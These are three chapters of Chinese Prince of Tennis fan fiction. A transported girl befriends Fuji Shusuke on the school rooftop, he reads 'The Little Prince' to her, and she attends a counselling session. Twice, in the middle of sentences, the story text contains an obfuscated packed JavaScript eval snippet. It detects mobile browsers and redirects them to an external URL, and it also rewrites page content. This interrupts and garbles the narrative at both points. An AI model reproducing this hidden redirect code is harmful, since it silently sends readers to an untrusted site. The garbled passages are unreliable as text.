《[网王]我与不二前辈与肝脏》 3. 第3章 现在想来,我对不二周助这家伙说不定是一见钟情。 但当时我的脑子里可不存在什么喜不喜欢爱不爱的概念。面对不按常理出牌的少年,反而是一种“不能跟着他的节奏来”的心情占了上风。 如果老老实实回答他的问题就输了。 但单纯因此就故意说一件完全不相干的事也算不上赢。 以上的种种想法电光石火般在我脑中炸开。于是我顺应自己的本心,说出了当下最想说的一句话: “你,喜欢运动吗?” 可怕。我完全不知道自己为什么想说这个。 更可怕的是,围栏内的男生表现出来的惊讶似乎比我本人要少得多。他还是一副很淡定的模样,顺从着我的话偏头想了想,不到1秒就用悦耳的声音笃定答道: “嗯,喜欢啊。” …果然是这个世界的人啊。 我丝毫不感到惊讶。但不知道为什么,又有一点点失落。 索性将目光移开,反正我也不想继续看他了。这么想着,我后退一步,从楼顶掉了下去。 “……!” 借着排水管道与几个窗台作缓冲,我像成功盗走宝物的鲁邦三世那样丝滑落地。抬头再看,楼顶的少年已经变成了遥远的黑影。 我视力很好,所以清晰看见对方重新眯起眼,微蹙着眉心、朝我露出一个半是惊异半是无奈的表情来。 再回想刚刚上方紊乱的那1秒呼吸,我不由得心情大好,拉下右眼眼睑,朝那名陌生少年做了个鬼脸。 炸裂吧你这家伙的世界观! 我很快乐地跑远了。 至于察觉自己的鞋子还留在天台,则是跑出一段距离以后的事。 “……” 我灰头土脸回到教学楼。 这年头的国中生只关心自己。只要我摆出一副理所当然的样子,就没人注意到我其实根本没穿鞋子。 走到三年级那层时,我又遇见了那名栗子色头发的陌生人。 他正和几个路人待在一起,眉眼弯弯、聊得很投入的样子。然而,几乎就是我把目光投向他的一瞬间,他也有所感应般望向了我。 四目相对。让我失望的是,他脸上既没有惊慌也没有恐惧,明明是这么短暂的时间,却仿佛已经安然完成了世界观的重组。他甚至还笑眯眯地伸出一根手指,悄悄冲我指了指楼上。 “嗯?不二,怎么了?”一个男生问他。 这时我已经拐弯上楼了,所以没能听见他的回答。但是不难想象,他会温柔地告诉同伴“没什么”,或是干脆把话题岔开。 原来是国三生啊……也对,他看着就像阔别小学很多年了嘛。 但是Fuji…哪个Fuji?总不会和我(藤)同姓吧?* 到了天台,我一眼就看到了自己的室内鞋。摆得整整齐齐,就放在围栏不远处……话说这样别人会误以为有人跳楼了的吧?虽说我的确是跳下去了没错。 “……” 我顿时有种微妙的被开了玩笑的感觉。 同时又有种心照不宣、和陌生人拥有了一个共同秘密的感觉。 但是见了鬼了,我怎么会一下冒出这么多乱七八糟的感觉? 晚上,当阳子问我开学第一天感觉怎么样的时候,我认真严肃地告诉她: “我的脑子说不定坏掉了。” “欸?怎么了?欸???”她又慌张又好奇,匆忙摸了摸我的额头,“话说你把头发重新拆开绑过了对吧?!” 我思考了一下要不要把那个国三男生的事说出来,但总觉得阳子会说些我现在无法理解和接受的话。经过一番谨慎的审度,我只回答了她后面一个问题: “才没有!早上出门的时候你就是绑这么歪来着的!” “你骗鬼欸!” -- 开学1周后,我接受了自己成为国中生的现实。反正只要不聊《小学生侦探》就什么都好说。 比较麻烦的一点是:国中课业一下变得有点复杂。不像小学,回家只需要折些千纸鹤交差。 老师的态度也有微妙的不同,会先表露出“我有在好好把大家当大人对待,所以你们要乖乖听话”的意思,然后再布置一大堆稀奇古怪闻所未闻的作业。 就比如现在。 “大家平常如何看待小说呢?” 国文老师一边分发书本,一边开始了他的铺垫。 “是单纯的幻想?亦或是现实的调剂?在日常生活中,偶尔会产生这样的感觉吧——人生很无聊。虽说知道世界很大,却难以切实的理解其广阔……” 我快听睡着了。 老师也往我桌上放了一本书。我努力的撑开眼皮。 一个抱着行囊托腮沉思看起来就很悲惨的小孩被焊死在封面上,背景是烟雾缭绕的城市……好阴沉。这孩子为什么一脸不开心啊,难道点燃一座城市还不足以缓解他的悲伤吗? “……在小说中,我们可以领略到不同的人生。跟随角色的喜、怒、哀、乐……说不定,你的人生也会染上书中的某种色彩呢?” 国文老师故作神秘地眨眨眼。 看看他,再看看手上的小说,我顿时感到自己被诅咒了。 再看西瓜头同桌,他被分到的封面上画着一只穿着西服弯着腰耷眉丧眼的青蛙,好像还不如我——谁会想要看悲伤青蛙的故事啊? 到底有什么好看的……我在心里犯嘀咕。 说到底,小说不就是一群不会画画的人在那儿白日发梦吗? 我这辈子都没法理解这种东西的魅力。 眼前忽地划过一道蓝金色的光。 我的视线不由自主的追随,最终定格在前桌随意拿在手中的书上。 一片深蓝色的星空,上面点缀着金色的星星。一个金色头发、系着长围巾的孩子独自站在小小的星球上,低头望着一朵玫瑰。 “……” 毫无缘由的,我被这一画面深深击中了。 我立即意识到:如果这学年我必须读一本书,那我想读的就是前桌手上这本。 我立即问他要不要交换。 前桌是个苍白纤细、看起来稍微有点阴险的人(但长得还行,像条柯基犬)。他一瞥我手上的书,一副兴致缺缺的样子: “噢,你是《雾都孤儿》啊?” …雾都?难道说那座城市不是被主角点燃了,而是本来就被雾环绕吗? 那悲惨程度直接翻了一倍啊,我绝对不要看这种故事。 “换吗?” 前桌想了想,说:“可以,但是交换的话我有什么好处?” “斋藤君……”好心的西瓜头听到这,冲前桌发出了不太赞同的声音。 我抬手拦下他,因为我欣赏前桌的作风。就像委托恶魔办事必须付出代价一样,这种有借有还的脑回路使我倍感亲切。 “你想要什么?” “…没想好。”斋藤说,“干脆这样吧,你欠我一个人情。等我想好了再跟你说。” “成交。但不能是太超过的事,这道理你总该懂吧。”比如让我当场自杀,像这种蠢事我是绝对不会做的。 达成交易后,我如愿得到了那本闪烁着蓝金色光芒的小说。 “究竟是什么样的故事呢……”我有点期待。 我喜欢美丽的颜色。如果人生注定要被染上色彩,那绝对应该选这种封面的小说。 “咦,你没看过《小王子》啊?”前桌顿了顿,声音放缓一点,“是个蛮温馨的童话故事。” -- 我确实没看过什么大王子小王子的。 但所谓“童话”,就是那种打倒坏人所有人都获得了幸福的虚假故事吧。 我坐在天台、像洗扑克那样翻动着这本小说。到了这个时候,先前的热情已经被扑灭得差不多了。 我并不是个耐得下心读书的人——这也是理所当然的——否则我不是早就该去上哈佛大学了吗? “…好像相当……的样子啊。” 听到一声好听的轻笑,我抬起头,果不其然又看见了那名“陌生人”。他站在天台入口处,正冲我露出相当亲切的前辈式微笑。 看来上次的事真的没能吓倒他。 也许这个人的世界观原本就比一般人宽广,是那种所谓的“靈感强烈”的人。又或许他根本是个神经大条的笨蛋。 我个人比较倾向于第2种解释。 这么想着,望着小说里的第一幅插图,一只被蟒蛇缠住的动物,我忍不住翘起嘴角。 天台有两排相对的围栏。现在我靠坐在向阳的那一面,陌生人前辈则走向了向阴的那面。这是我通过看书时的余光看到的,但他似乎误以为我在观察他。 “抱歉,我坐在这里可以吗?”悦耳的声音再次响起。 我头都不抬:“天台又不是我的私有领土。你想坐就坐,为什么要说抱歉?” 这样一来,他恐怕会默不作声地坐下吧。但其实这样也不对:我真正介意的只是“抱歉”2个字而已——毕竟把我弄得像是独占天台的恶霸。 可除开这个不谈,在我看来,后半句的确认仍是必要的,因为我的独处时光确实是被他打破了。 然而,一般人多半是无法领会到其中细微的差别的。 “那…抱歉刚刚对你说了‘抱歉’,我可以坐在这吗?”陌生人前辈带着笑意问。 …哼? 我视线上移,飞快瞟了他一眼。还挺敏锐的嘛,长得还那么好看。我都有点喜欢他了。 “坐吧。” “打搅了。”他依然温和。 然后就再没有任何话语传来了。陌生人似乎是在摆弄什么东西(凭我的余光看不到,但我也不高兴再抬头),总之有种非常愉快的让人无法忽视的仿佛闪着金光的氛围哗啦啦泼向我这边。 在这种诡异的气氛中,我努力看书、努力、看着字、很多很多很多字、片假名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088695|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、瞪……我“啪!”的一声把书阖上了。 这动静当然有被陌生人前辈注意到。只见他眯着眼,一脸无辜和疑惑地望了过来。原来他手中一直握着的是一台迷你相机。 …什么啊。这家伙原来是个宅男吗? 我:“你有点打扰到我看书了。” 这句话真假掺半。但既然他一副很有教养的样子,听到这想必也会识趣地离开吧。 结果陌生人只是视线在我手里的书上绕了一圈: “这是国文课的周课业吗?我们一年级时也有做,当时我选的也是这本。是个很好的故事吧?”他笑容清俊又真诚。 我:“……”努力换来的书忽然烫手起来。 “嗯……如果是我观察错误,姑且先说一声抱歉。”他自然而然地继续道,“你是遇到什么困难了吗?刚刚好像有点苦恼的样子。” …好一个教科书式的温柔前辈。我看着他,心里并不相信这就是这个人的全貌。 不过,他都展现出这种程度的体贴了,我这边也没什么好隐瞒的。 “嗯,我看不懂。” “是指故事方面的困惑吗?” “不,是全方位的困惑。”我干脆地说,“因为我不怎么识字。” 老爹总说读书是一个人一生不幸的开始。所以穿越前,我一个字都不认识。 在北海道上了3年小学后,由于我不是白痴,所以还是记下了大部分五十音图。但也仅限于平假名,像片假名那种鬼画符我只想把它们统统咒死。 “问题是,这本书里的片假名也太多了吧?”我平静吐槽道。 “大概因为是从外文翻译来的吧?”陌生人前辈则轻声回应着。他稍微皱着眉,但并没有问我为什么到国一了还不认字之类的问题,这种有意保持的距离感让我觉得他人还不错。 我看着他。他看着我。 正是在这时,我意识到了今天和他的对话格外顺畅的原因:在这样的沉默对望中,接下来要说的话好像已经被我们提前预演了一遍。 仿佛我要说的话已经通过风里的小精灵(或者别的什么魔法生物)传达给了他,而他也已作出了回答。于是当我真正开口时,心里其实已经知道后面的大概走向了。 “你可以读给我听吗?” 陌生人前辈笑了笑,说:“嗯,好啊。” 看吧。 “那么代价呢?” “什么代价?” “你帮我做事,我也要回馈你一些什么。这是理所当然的吧?”我歪了歪头。对面,他也跟着把头一偏,似乎在认真思索我的话。 “嗯……只是读书而已,对我来说并不是什么需要回报的事啊。”陌生人前辈用相当轻柔的声音说。 “但对我来说不是这样。”因为这是我那个世界的处世方式。如果连这个也不坚持,那我还剩下什么呢?“再说你付出了时间。这难道不是已知的人类所拥有的最宝贵的东西吗?快想想吧,什么都可以。” 说完我有点不爽,因为这样就好像是我上赶着非要送他点什么似的。于是我赶忙补充:“但太奇怪的可不行。” “…总觉得是被细心关照了呐。”陌生人前辈忍俊不禁。带着温柔可亲的笑意,他屈起手指抵在唇边,“谢谢你愿意这么为我考虑。唔、这样的话……” 啊?他是在说什么外星话吗? 我冷眼旁观,等待着他未尽的话语。虽说是在等待,但我好像已经知道他要说什么了。 “可以稍微和我说说你的事吗?”陌生人主动提出。 果然啊。 “理由呢?” “因为对你非常好奇。”他坦然的态度倒叫我吃了一惊。原本以为他是那种更含蓄的性格,一定会使用“有点”、“稍微”之类的词语来修饰自身的感受呢。 我与陌生人的视线对个正着。再一次的,就好像完全知道我在想什么一样,他又和缓着语调进一步解释道: “目睹昨天那一幕,没有人会不好奇的吧?我可是吓了一大跳,回家对着仙人掌自我怀疑了好久,是不是误入奇幻世界了…之类的。” …不,这副从容轻笑的样子到底哪里像是被吓到了。你应该一看到我就花容失色退到墙角指着我大叫“怪怪怪怪物神经病不要过来唔啊啊啊!”才对。还有、仙人掌又是从哪冒出来的啊? 我内心的吐槽有如实质般朝他发射过去。他绝对感受到了,却只是牵起嘴角,愉快地等待着我的回答。 天台,一阵风轻柔地吹过。 我:“成交。”反正对我来说没什么大不了的,我的过去不存在难以启齿的事。 “1年5组,我的名字是藤光咲。”说完,我看着他,示意他也告诉我名字。 “3年6组,不二周助。”带着好看的笑容,他望着我温声道,“请多指教。” 我默默记下他的名字。 也就是从这一刻起,他不再是陌生人前辈,而是我认识的人了。 4. 第4章 大人自己什么都不懂,总是要小孩来给他们解释,这让我觉得很累。* -- “咦,已经结束了吗?” “嗯,第1章就到这里为止。” 我有点意外。不二声音低柔,语速不急不缓,给我的直观感受就是:好听!而且多半会像泉水从山上出发、直到涌向大海那样悠长吧。 再搭配4月午后的和煦日光,空气中好像有一杯浅褐色的红茶正被冲和。我原本做好了与睡魔战斗的准备,没想到睡意刚来,助眠物就先自己跑走了。 “好短。”我吐槽,“这也能叫1章?青学的校歌都唱不完吧。” 他像听到什么有趣的形容一样笑了:“原来藤更中意长一点的故事吗?” 这是个我从没考虑过的问题。 “嗯……自己看当然是越短越好,而且最好一个片假名都不要有。但有人读的话还是希望长一些呀。”我理直气壮地说,“不然付出了代价的我不是很亏吗?” 对面传来一声轻笑。我听见栗发少年用很温柔的声音询问: “那么,现在时间还早,要接着往下听吗?” “下一章也很短吗?” “比刚才要长些。”他想也不想就说,看来确实对这本书很熟,“还有插图会多2张。” 我立即打消了继续听下去的念头。因为我已经不记得后面的画了。 要想获得最好的故事体验,势必就得坐到不二身边去听。 可我现在不太想这么做,总觉得哪里怪怪的,不知道是哪里,但绝对不想要这么做。或许是因为更想晒太阳吧。 “还是算了。” “嗯,今天就到这里也好。”少年很自然地附和着,似乎看出了我在想什么,“下周我带家里面的书过来。下章的内容还是对着插图听更有趣啊。” …有趣吗? 看一眼不二笑眯眯的清俊面孔,我懒洋洋地偏开视线。不是说谎也不是客套,他好像是真的这么认为。 老实说,就刚刚听到的内容而言,我觉得这本书一般。 有些地方甚至微妙地激起了我的吐槽欲,只不过程度不轻不重——就类似于肿起来的蚊子包过了3分钟以后的状态。虽说有点痛痒,但放着不管也行。 我不喜欢忍耐,但对朝刚认识的人主动倾吐内心感受这种事就更加没兴趣。 ……如果到家还记得,就说给阳子听吧。 今天的读书告一段落。按照约定,我问不二,“关于我,你有什么想问的?” 多半是跳楼但毫发无伤的秘诀、或者过去和来历一类的吧。 看我再把他的世界观击个粉碎! 他:“藤对刚刚那一章的印象,可以跟我说说吗?” 我:“…不二,你这家伙是国文老师派来的奸细吗?” 嗷嗷嗷!蚊子包居然被挠了个正着! 这人该不会有读心术吧?是世界上除我以外的另一个超能力者之类的? 我狐疑地看了不二一眼。而他眼睛一弯,笑容变得意味深长,有点像只狐狸。可等我再一眨眼,面对的又似乎仍是那张温和无害的清纯脸。 长得真好看啊。 我决定宠他一回。 “单就这章来说,不好也不坏吧。” 说到这儿,我稍微一顿,“但话又说回来,这章还根本称不上是‘故事’吧?我只听到一个人在不停抱怨。” 什么自己小时候费心画了条吞掉大象的蟒蛇,却被人误以为是帽子; 后来画了更详细的内部构造图,又被大人教育不要再画这种可怕的东西了之类的。 后来他放弃了当画家的梦想,偶尔却还是会向人展示那幅吞象蛇,用它来测试交谈对象的水准。 “我不喜欢那个用画试探别人的情节。那条长得像帽子的蟒蛇,其实是故意画成那样的吧?” “意思是,一开始就是为了让人误解成帽子,怀着这样的目的才画出来的吗?”他轻易就跟上了我的思路。 “嗯,作者当初绝对是这样想的吧?‘要怎么表现出大人想象力的匮乏?有了,看我画一个奇形怪状的东西,表面看像帽子,其实是吞掉了大象的蟒蛇。所以看错的家伙赶紧去反思一下自己贫瘠的内心吧’。”我毫不留情地嘲弄着创作者的意图。 喜欢的书被这样奚落,正常人多半会感到不高兴。但不二显然不是那么正常。只见他了然地一弯唇,用看穿了什么似的神情轻声调侃道: “藤一开始也看成帽子了吗?” 我一噎。 “…我注意到那东西长着眼睛了!但帽子长眼睛也没什么稀奇的吧?说不定是刚吃了人正在休息的帽子恶魔!”我瞪着眼睛说完,再看看对面笑得越来越灿烂的少年,“那么不二第一次读的时候又看成了什么呢?” 他要是说他第一眼就认定这是条吞象蛇,我百分百认为他是在胡扯。 “嗯…是什么呢,说不定也是长着眼睛的帽子吧?”结果被他笑着含混过去了,“但是,有趣的也许不是第一眼的印象,而是现在又看到了什么吧……我是这么想的。” 我:“……”吔? 就这样我看看不二。他看看我。 他在我对面。书在他手里。 我默默挪到他面前蹲下。他配合着将书翻转。 我托着腮,低头看了一眼上面意味不明的线条: “…是正在消化大象的蟒蛇。” 当然,也可能是背着行囊离家出走的恐龙,又或者一滩被摆弄过的巨型鼻涕。 总之无论如何也看不回帽子。或许是因为最正常的答案同时也是最无趣的吧。 “嗯,我也是一样。”不二笑着说,听声音好像很为发现我们的共通点而高兴。 由于出声时机太巧、简直像是在附和我内心的想法一样,我不禁毛骨悚然瞪了他一眼。他一愣,却还是拿手抵着下巴,一本正经继续说道: “不知道为什么,重读的时候虽然会冒出各种各样的想象,但就是没办法再看成帽子……嗯,或许是因为书里的‘我’都那么说了,所以不想叫他再伤心吧?” …什么鬼。这想法温柔过头了吧。 我:“不二,你有点怪。” “咦?”他竟然一脸无辜。还没察觉到他这点的人多半就是被这张白净亲和的现充脸给骗了。 这下我更加确定,不禁大力点头,使用的是类似被询问“想不想中一亿元乐//透奖”之类问题时的坚毅眼神。 见状,他眯着眼睛,做出一个有点苦恼的表情: “不太想被藤这么说啊……” 话尾声音放得很轻,好像还有种温柔的余韵在继续着诉说,让人忍不住要去探究他这么说的原因。只是一旦这么做了,一定会变得比现在的不二更加苦恼吧? 所以我干脆什么也没想,直接歪头望着他: “为什么?” 不二并没有回避我的注视。隔着一本书的距离,我们的目光在途中轻轻相碰。 不二的表情总是很柔和,好像从不会与周围发生激烈的冲突与碰撞。一开始我以为这是种伪饰,方便放松警惕从背后捅人刀子什么的。 但现在离得这么近观察,轻易就能从他身上发现一种由内而外的轻松和散漫。 感觉就像微风拂面。 “因为藤很有趣,还想和你多聊天,所以不想被当作怪人前辈呐。”不二笑眯眯地回答道。 说得蛮坦诚的。同时也保持住了很微妙很细致的边界。 我顿时斜睨他一眼:“这可是从我嘴里说出来的。你就当作夸奖收下吧,怪人前辈。” 闲聊到这,感觉有8首青学校歌都唱完了。这么一想,我就没了继续聊下去的兴致。 “现在几点了?” “午休快结束了。”不二微微一笑,倒也看不出多少留恋,“总觉得时间过得有点快呀。” 我们差不多同一时间站起来。他主动将书递还给我,然后莫名其妙地提出了诡异的建议: “下周我可以再带几本其它的书来吗?” “你是读书读上瘾了吗?”——尽管没说出口,但我充分用眼神表达出了这个质疑。顺便还多出一层意思,那就是对说出这一提议的这个人的无语。 “不,并不是那个意思。”说完,不二看了看我;虽说还是平和的眯眯眼状态,但一瞬间总觉得被他看穿了什么。 按理说我还蛮讨厌这种注视的(就跟讨厌医院的X光检验同理)。但还没来得及瞪回去,我的注意力就被他说的话吸引走了: “藤其实是有点失望的吧?对这章的内容。” 一边这么说,他一边笑了笑。这种宽松接纳的态度一下就很有池面学长的风度了。 “…差不多吧。”我耸耸肩。虽说里面好像有句还不错的话,但总体上说,我认为自己是被那个好看的封面诈骗了。头章就叽里咕噜的不知道在说什么东西,后面又能好看到哪去? 不二:“既然这样,不如一次性多听几本。慢慢寻找自己感兴趣的书的过程……不是也很有趣吗?” 看那乐在其中的神情,他是真心这么觉得。这人平常一定很擅长给自己找乐子吧? 反正是他主动提的,不要白不要。于是我懒洋洋说:“随便你。” 往天台出口走的时候,我们还是并肩而行。等迈进教学楼,我瞬间加快脚步、领先了栗发少年好几节台阶。 “那就下周再见啦,不二前辈。” 他似乎毫不意外我会恢复成敬语,如常般温和回应着:“嗯,藤,下周见。” -- 周末,阳子带我去精神病院玩。 福利署坚持我以1周1次的频率参加心理干预。有时候我都觉得要不装个样子完事算了。 然而看见精神病院中庭林立的网球场,我还是坚信出问题的不是我,而是这个世界。 第一次预咨询永远是玩沙盘。 我熟练地把沙子全部排到半边。这次盛沙子的容器底部是蓝色的,让我想到海水、天空以及不二的眼睛。 莫名其妙的,我产生了一种正在描绘什么的心情。 我在蓝色上面放了一朵花。有沙子的那边则放了一头哥斯拉。 正中间的分界线上要放最帅气的。经过一番比较,我选择了奥特曼;旁边要放上红色的球——一定得是赤红的、像肉一样的颜色才行。 完成! “能告诉我现在这里发生了什么吗?” “世纪大决战。” “看到哥斯拉的时候,你有什么感觉?” “亲近吧。” “为什么要把奥特曼放在正中间这个位置?” “因为它又帅又强,而且就算被杀也能复活…大部分情况下。” “光咲觉得自己是沙盘中的谁呢?” 对面,咨询师正努力克制着无奈和费解的表情。尽管竭力表现出耐心,但我还是能听见对方大脑急速运转、以致于蹦出几颗螺钉来的脆响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088696|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 问题的目的性正越来越强。 这让我认定他内心其实已经有了答案,只是千方百计的想引导我自己说出来。 因此我理直气壮地说:“不知道!” 咨询结束后,阳子被单独叫进诊室。我坐在外面,发现候诊室的图书角上也有一本《小王子》,干脆又拿在手中翻动起来。 我的眼睛很好,但耳力其实更棒。 【我把我的杰作拿给大人看,问他们怕不怕。但他们回答说:“帽子有什么好怕的?”*】 “在评价周遭时,光咲常说的话是‘不好也不坏’。我想,这正是故意将自己的情绪与感受封闭起来的体现……” 错了。而且错得离谱。 “结合沙盘,光咲说的‘肝脏’,还有她从前的经历——当然,还需要进一步的观察——但我想说不定是创伤导致的分离性身份障碍……” 看吧。 低头望着第一章上的插图,我努力拱火。 喂,肝脏,他把你说成是幻想生物欸!这不是太过分了吗!?不如我们一起去教训他一下吧?我给你5颗手指甲! 然而肝脏还是一声不吭,就像这3年来一直坚持的那样。我立即诅咒它从此只能吃狗屁。 “……” 独自坐在候诊室第一排的座位正中央。 我气鼓鼓地盯着那幅吞象蛇。 -- “这个人不行。” 阳子一出来,我就对她说。 “嗯,哪有只聊40分钟就作出那种诊断的啊?”她同样一脸微妙,“而且,他是没见过你把人嵌进墙里的样子啦……” “对吧?” 我边说边推开门。 阳光劈头盖脸,晒得皮肤暖洋洋的……头顶的天空像被水浸过一样蓝。白云悠悠的自校园上空飘过。 不二已经坐下了,看到我来,笑眯眯朝我一招手。 “上午最后一节是体育,所以就提早过来了。”他还是坐在和上周一样的位置,把有太阳的那面留给了我。 “…你还真是带了不少书来啊。”我看着那足足垒到他腰部以上的高度,嘴角一抽。他之前说的喜欢运动,指的该不会是小说马拉松之类的吧? “唔。”少年有点不好意思似的一抿唇,“本来只想带一两本的,但一下想到了很多很有趣的,干脆就全带来了……” “像是开篇就点明会死去十个人的悬疑小说;关于古代咒术的书;还有、落魄作家带着家人住进大雪封山的酒店,诡异事件接二连三的发生……” …开始一脸恬静又爽朗滔滔不绝地说怪话了啊这个人。 漂亮的笑容后面是不是浮现出黑气了?是原本就喜欢黑暗血腥?不对、好像是在单纯的享受刺激啊。 说到最后,就差把“藤会中意哪本?听完会露出怎样的表情来呢?”直接说出来了——比起单纯的热心肠,这家伙果然是有点找乐子的成分在吧? 既然是这样,那我势必也要从他身上获得同样的乐趣才行。 我当场决定要把乐子找回来。 “比起这个,上周的时候,不二是怎么看出我对《小王子》不感兴趣的?” 面对这个存在相当时间跨度的问题,少年微微一愣,接着便很自然地接话道: “因为藤当时说‘不好也不坏’……‘不好也不坏’的意思,其实也就是‘无聊’吧?” ……正解。比心理医生正得多。简直正得发邪正中红心。 就好像我拿出一幅画,他看了一眼就笑眯眯地说“这是吞象蛇吧?画得真有趣呐。”一样。 我面不改色,继续朝少年发问: “人为什么会觉得无聊呢?说到底,究竟什么才算是‘无聊’呢?” 这是一个相当抽象的问题。 就算是不二,这次也稍微花了点时间思考。然而,与其说他是被难倒了,倒不如说是思考得相当尽兴,以致于稍稍沉浸在那种愉快的感受中了。 “嗯…如果说‘刺激’是一种能将身体全部感官都调动起来的体验。那么‘无聊’应该就是与之相反、只需要动用一两个感官就够了的感觉吧?像是上课只需要用耳朵听;比赛的时候想着事情、不知不觉就赢了…之类的?” 正说着,他忽然微笑着一顿。我怀疑他是一不小心把自己的什么切身体会给说出来了。 “也就是说,无聊是一种一切都在掌控中、什么都能预料到的感受咯?” 不二想了想,然后道:“嗯,我想可以这么说。” “那不二和我在一起肯定是不会感到无聊了。” “欸……?”他一下睁开了眼睛。 重新见到这双漂亮的、稍显吃惊的冰蓝色眼眸,我不由得心情大好。 “不二。” “什么?” “我改变主意了,我还是想听《小王子》。现在就想听。”我一口气告诉他,“因为我是从异世界来的超能力者。但我现在不想说这个。因为今天的天气可真不错。” 闻言,不二抬起头——鉴于他现在又重新眯起了眼睛,所以我猜测这是一个类似眨眼的思考动作。 “虽然好像一下发生了很多事,我也有很多问题想要问……” 他这么缓慢地、稍显苦恼地、甚至是有点天然呆地说着,好像随时准备着叫停我问个清楚。 但是紧接着,少年便一弯唇,笑意仍然轻松愉快。 “但今天天气确实很好,适合先读书呐。” 5.第5章 我对他的了解,是在闲聊时零碎地慢慢积累起来的。* -- 不二是个奇怪的家伙。 本来这个人人都爱运动的世界就已经够怪的了。但他比这个世界还要再怪上一点。 不,应该说在这个世界,我还没见过比不二更怪的家伙—— “我吃过人肉喔。” 我一脸认真。 “欸,是什么味道?” 他十分捧场。 我:“…劲爆!酸辣!” 不二:“有点想象不出来呢……有机会的话真想尝尝看啊。” 吓人。这家伙在一本正经地胡说八道。 而且还没说完,他就“噗嗤”一声破功了,还笑得双肩一抖一抖的: “抱歉、这个时候是不是还是做出被吓到的样子比较好?”少年以手握拳,微掩住上扬的唇角。 也就是说他完全没被吓到,从一开始就知道我是在骗人了。 我顿时变成很没精神的死鱼眼。 虽说不二好像全程都很配合我,我却产生了一种被耍弄的感觉。多半是因为他正朝我笑得眉眼弯弯,一副轻松又宽容的神情。 这种从容有时候怪讨厌的,就好像他比我大上个几百岁,正从一个高高的遍布圣光的地方充满慈爱地俯视我。 在不久的将来,当我向阳子说起这件事的时候,她将会抽搐着嘴角向我确认: “…呃,你是想说这个男生拥有天使般的笑容吗?” “嗯。”我也会煞有介事地点点头,“他这点还蛮恐怖的吧?” 此刻的天台上,我盯着不二的脸,尽情沉浸在他的恐怖之中。 由于暂时没想到什么有用的反制方法,我只好先令自己的视线偏移: “比起这个,还是先说说你都带了些什么书来吧。” 我朝那堆书山一昂下巴。 虽说一本也没用上,但我毕竟是一个这么善良的人,还是稍微给它们点出场时间好了。 “嗯,都是些很有趣的书喔……” 对于话题的变更,不二丝毫不介意,直接顺着我来。他像这样好脾气的一面我还蛮喜欢的。 “像是开篇就点明会死去十个人的悬疑小说;关于古埃及咒术的书;还有,落魄作家带着家人住进大雪封山的酒店,诡异事件接二连三的发生……” 说着说着,少年漂亮的笑容后面逐渐浮现出一层黑气。 我:“……” 开始一脸恬静又爽朗滔滔不绝地说怪话了啊这人。 他该不会原本就超容易受黑暗血腥类的题材吸引吧? 我又变回死鱼眼了。 不二周助是个怪人。 但是怎么说呢。这家伙怪得蛮亲切的。 “好吧,我其实没吃过人肉。”我于是又把话题跳转回去,“那是听肝脏说的漫画上的情节。但老爹从没让我们挨过饿。” 我从不回避提起老爹和肝脏。但每当这种时候,大部分人都会要我从头说起,把老爹是谁、肝脏又是什么东西、和他们是怎么认识的等等等等统统交代清楚,让我很没兴趣继续说。 这就好像我只是说“哈哈哈我想到一件有趣的事!”,对面却要求“把这件事的前因后果乃至前因后果的前因后果全部按时间顺序说完整!”一样;趣味和重点根本全都没了嘛。 不二基本不做这样扫兴的事。 大部分时间他只是笑眯眯地听,有需要的时候又超绝捧场。 我说我是从另一个世界来的恶魔猎人,他立马说好厉害,又问我在这边会不会有哪里不适应。然后莫名其妙我就和他说了一堆。 有时候我怀疑他只是单纯觉得我有中二病。 当然,就算是不二,也会有听不懂的地方。 “……老爹订最便宜的营养剂,导致我们一到睡觉时间就要开始挂水。我听说最好的那种只要打一针就一整天都不会饿,但老爹说往海里排放太多针头大自然就会完蛋,所有人都应该热爱大自然。喔,对了!圣诞节我们会炖稻壳汤……” 不知从什么时候起,不二的笑容变淡了。 “嗯…就像给树木输液一样?”他轻声说了个比较温和的比喻。 “嗯,就像给树木输液一样。”我点点头,“不二,你现在这是什么表情啊?” 他忽然不笑了,表情怪严肃的,睁开眼睛默然不语的样子甚至非常冷冽。 直到注意到我无语的眼神,少年才像察觉到什么似的、有点无奈地开口解释: “这不是能笑着听的事。” 欸,脸皮汤都可以,稻壳汤却不行? 为什么? 我顿时有点不舒服;就像漫才看到一半,发现搞笑艺人忽然开始认真地煽情起来一样。 “异议!我说这个可不是为了让你露出这副沉重的表情来的。” “这是当然……”他斟酌着。我能看出他明显还有一大半思绪正绕着刚刚听到的事打转,这让我非常不满,因为他根本没把我的话搞明白。 “你这么说了,却还是一副慎重的表情,显然是觉得我说的话很不妙。但我只是随口说说的而已。如果每次开口前,我都要预先想一遍什么话能讲什么话不能,那说话还有什么意思?如果不能想说什么就说什么,那我干脆还是不要说话好了。可我什么都没做错,忽然间就不能讲话,这对我来说不是很不公平吗?” 虽然长得不像,但我其实非常喜欢说话。 高兴的时候喜欢说,伤心时也喜欢。我尤其喜欢一口气说一段长得不得了的话,就像要把全身的血液全都挤出来那样去说。 以前肝脏最常对我说的一句话就是“闭嘴”。因此我养成了想说话的时候绝不会把嘴闭上的习惯。 阳子经常被我弄晕;此刻不二也被我说得愣住了。哼,像他这种笨蛋肯定想都想不明白。 不二思索着。 不二不到1秒就明白了过来。 “藤希望我能普通地去听吗?” “那是当然。因为我就是很普通地在讲呀。” 